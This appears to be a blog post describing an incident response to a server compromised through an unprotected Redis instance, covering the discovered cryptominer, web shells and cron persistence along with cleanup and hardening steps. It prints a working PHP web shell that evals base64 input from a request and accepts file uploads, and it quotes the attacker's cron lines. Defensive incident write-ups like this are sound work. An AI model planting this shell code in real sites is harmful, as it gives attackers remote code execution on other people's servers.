How We Cleaned a Compromised Server: A Complete Malware Removal Guide

Executive Summary

Our server was compromised through an exposed Redis instance, leading to cryptocurrency mining malware, web shells, and persistent backdoors across multiple WordPress sites. This post documents the complete investigation, cleanup, and security hardening process.

Initial Discovery

The investigation began when we noticed unusual network activity:

Suspicious port 57826 was open and listening
Unknown process chuplxwz (PID 3504386) was running
High CPU usage from unknown processes

The Attack Vector: Exposed Redis

Root Cause: Redis was configured to bind to 0.0.0.0:6379 (all interfaces) without password protection.

bash

# Vulnerable configuration
bind 0.0.0.0 ::1
protected-mode yes
# No requirepass set

This allowed attackers to:

Connect to Redis from the internet
Use Redis commands to write malicious cron jobs
Execute cryptocurrency mining malware
Plant persistent backdoors

Malware Components Found

1. Cryptocurrency Miner

File: /var/tmp/CRZAGAEBRE (Perl script)
Process: chuplxwz listening on port 57826
Persistence: Cron jobs running every 5-6 minutes

bash

*/5 * * * * /usr/bin/perl /var/tmp/CRZAGAEBRE >/dev/null 2>&1
*/6 * * * * perl /var/tmp/CRZAGAEBRE >/dev/null 2>&1

2. Web Shells

Simple Web Shell (accesson.php):

php

<?php 
echo 409723*20;
if(md5($_COOKIE["d"])=="17028f487cb2a84607646da3ad3878ec"){
    echo"ok";
    eval(base64_decode($_REQUEST["id"]));
    if($_POST["up"]=="up"){
        @copy($_FILES["file"]["tmp_name"],$_FILES["file"]["name"]);
    }
}
?>

Sophisticated Encrypted Shell (cache.php):

Used AES-256 encryption
Obfuscated with base64 + gzinflate
Located in nested images/images/images/ directories
Injected into WooCommerce plugin directories

3. Self-Replicating Malware

Launcher: /tmp/httpd.conf
Process: php -f /tmp/httpd.conf (multiple instances)
Continuously recreated malicious files even after deletion

Step-by-Step Cleanup Process

Phase 1: Stop Active Malware

bash

# Kill malicious processes
sudo pkill -9 chuplxwz
sudo pkill -9 -f "/tmp/httpd.conf"

# Remove malware files
sudo rm -f /var/tmp/CRZAGAEBRE
sudo rm -f /tmp/httpd.conf

# Remove cron jobs
crontab -r  # For affected user

Phase 2: Remove Web Shells

bash

# Find all web shells
sudo grep -r "eval(base64_decode" /home/ploi --include="*.php" \
    2>/dev/null | grep -v vendor | cut -d: -f1 | sort -u

# Remove specific backdoors
sudo rm -f /home/ploi/api.villa.pryvus.com/public/assets/images/accesson.php

# Remove all cache.php in wrong locations
sudo find /home/ploi -type f -name "cache.php" -path "*/images/*" -delete

# Remove nested images directories
sudo find /home/ploi -path "*/public/images/images" -type d -exec rm -rf {} +

# Remove all PHP files from images directories
sudo find /home/ploi -path "*/public/images" -name "*.php" -type f -delete

Phase 3: Secure Redis (CRITICAL)

bash

bind 127.0.0.1 ::1
protected-mode yes
requirepass YOUR_STRONG_PASSWORD_HERE

bash

# Apply changes
sudo systemctl restart redis

# Verify
sudo netstat -tlnp | grep 6379
# Should show: 127.0.0.1:6379 (NOT 0.0.0.0:6379)

Phase 4: Secure Memcached

bash

# Edit configuration
sudo nano /etc/memcached.conf
# Add: -l 127.0.0.1

# Restart
sudo systemctl restart memcached

# Verify
sudo netstat -tlnp | grep 11211
# Should show: 127.0.0.1:11211

Phase 5: Clean WordPress Installations

For corrupted WordPress cores:

bash

cd /home/user/site.com/public

# Backup database credentials
sudo cp wp-config.php ~/wp-config-backup.php

# Remove WordPress core files only (preserve wp-content)
sudo rm -rf wp-admin wp-includes
sudo rm -f index.php wp-*.php xmlrpc.php

# Download fresh WordPress
sudo -u user wget https://wordpress.org/latest.tar.gz
sudo -u user tar -xzf latest.tar.gz --strip-components=1
sudo -u user rm latest.tar.gz

# Restore wp-config.php
sudo cp ~/wp-config-backup.php wp-config.php

# Set permissions
sudo chown -R user:user .
sudo find . -type d -exec chmod 755 {} \;
sudo find . -type f -exec chmod 644 {} \;
sudo chmod 444 wp-config.php

Phase 6: Block Attacker IPs

bash

# Identified attacker IPs from logs
sudo ufw deny from 176.213.124.119
sudo ufw deny from 78.153.139.18
sudo ufw deny from 109.107.178.102

Phase 7: System-Wide Security Hardening

Firewall Setup:

bash

sudo ufw default deny incoming
sudo ufw default allow outgoing
sudo ufw allow 22/tcp
sudo ufw allow 80/tcp
sudo ufw allow 443/tcp
sudo ufw enable

SSH Hardening:

bash

sudo nano /etc/ssh/sshd_config

# Configure:
PermitRootLogin no
PasswordAuthentication no
PubkeyAuthentication yes
MaxAuthTries 3

sudo systemctl restart sshd

Install Fail2Ban:

bash

sudo apt install fail2ban -y
sudo systemctl enable fail2ban
sudo systemctl start fail2ban

WordPress Security Hardening

wp-config.php Security

Add these lines to wp-config.php:

php

// Disable file editing in WordPress admin
define('DISALLOW_FILE_EDIT', true);

// Disable plugin/theme installation (optional)
define('DISALLOW_FILE_MODS', true);

// Force SSL for admin
define('FORCE_SSL_ADMIN', true);

// Limit post revisions
define('WP_POST_REVISIONS', 3);

// Security keys - regenerate from:
// https://api.wordpress.org/secret-key/1.1/salt/

File Permissions

bash

# Correct ownership
sudo chown -R username:username /path/to/wordpress

# Directories: 755
sudo find /path/to/wordpress -type d -exec chmod 755 {} \;

# Files: 644
sudo find /path/to/wordpress -type f -exec chmod 644 {} \;

# wp-config.php: 444 (read-only)
sudo chmod 444 /path/to/wordpress/wp-config.php

Monitoring & Prevention

Daily Monitoring Checklist

bash

# Check for malicious processes
ps aux | grep -E "chuplxwz|perl.*tmp|httpd.conf" | grep -v grep

# Check for suspicious network connections
sudo netstat -tlnp | grep -E "57826|0.0.0.0.*(6379|11211)"

# Check crontabs
for user in $(cut -f1 -d: /etc/passwd); do 
    sudo crontab -u $user -l 2>/dev/null
done

# Check for new web shells
sudo find /home -path "*/public/images" -name "*.php" 2>/dev/null

# Check for nested directories
sudo find /home -path "*/public/images/images" -type d 2>/dev/null

Automated Scanning Script

bash

#!/bin/bash
# Save as: /root/daily-security-scan.sh

echo "=== Daily Security Scan $(date) ===" | tee -a /var/log/security-scan.log

# Check for malware processes
malware_procs=$(ps aux | grep -E "chuplxwz|perl.*tmp" | grep -v grep | wc -l)
echo "Malware processes: $malware_procs" | tee -a /var/log/security-scan.log

# Check for web shells
webshells=$(find /home -path "*/public/images" -name "*.php" 2>/dev/null | wc -l)
echo "PHP files in images: $webshells" | tee -a /var/log/security-scan.log

# Check exposed services
exposed=$(netstat -tlnp | grep "0.0.0.0.*(6379|11211)" | wc -l)
echo "Exposed services: $exposed" | tee -a /var/log/security-scan.log

# Alert if issues found
if [ $malware_procs -gt 0 ] || [ $webshells -gt 0 ] || [ $exposed -gt 0 ]; then
    echo "⚠️ SECURITY ISSUES DETECTED!" | tee -a /var/log/security-scan.log
    # Send email alert here
fi

Add to crontab:

bash

0 2 * * * /root/daily-security-scan.sh

Lessons Learned

Critical Mistakes That Led to Compromise

Redis exposed to internet without password – The primary attack vector
No firewall configured – All services were accessible externally
Delayed security updates – Vulnerable software versions
No intrusion detection – Attack went unnoticed initially
Weak file permissions – Malware could easily write to web directories

Security Best Practices Implemented

Network Security:

Bind services to localhost only
Require strong passwords for all services
Enable UFW firewall with minimal open ports
Install and configure Fail2Ban

WordPress Security:

Regular core/plugin/theme updates
Disable file editing in admin panel
Strong, unique passwords for all accounts
File integrity monitoring
Regular backups

System Security:

SSH key-only authentication
No root login via SSH
Regular security audits
Automated monitoring scripts
Principle of least privilege

Monitoring:

Log review automation
Process monitoring
Network connection monitoring
File integrity checks
Cron job auditing

Tools Used

netstat/ss – Network connection analysis
ps/top/htop – Process monitoring
grep/find – File searching
chkrootkit/rkhunter – Rootkit detection
fail2ban – Intrusion prevention
ufw – Firewall management
lsof – Open file monitoring

Conclusion

This incident highlighted the critical importance of:

Defense in depth – Multiple security layers
Principle of least exposure – Minimize attack surface
Regular monitoring – Early detection is crucial
Quick response – Contain before it spreads
Documentation – Learn from incidents

The server is now hardened against similar attacks, with automated monitoring in place to detect any future compromise attempts.

How We Cleaned a Compromised Server: A Complete Malware Removal Guide

Executive Summary

Initial Discovery

The Attack Vector: Exposed Redis

Malware Components Found

1. Cryptocurrency Miner

2. Web Shells

3. Self-Replicating Malware

Step-by-Step Cleanup Process

Phase 1: Stop Active Malware

Phase 2: Remove Web Shells

Phase 3: Secure Redis (CRITICAL)

Phase 4: Secure Memcached

Phase 5: Clean WordPress Installations

Phase 6: Block Attacker IPs

Phase 7: System-Wide Security Hardening

WordPress Security Hardening

wp-config.php Security

Monitoring & Prevention

Daily Monitoring Checklist

Lessons Learned

Critical Mistakes That Led to Compromise

Security Best Practices Implemented

Tools Used

Conclusion

The Hardest Part of Going From $0 to $1 Isn’t the Code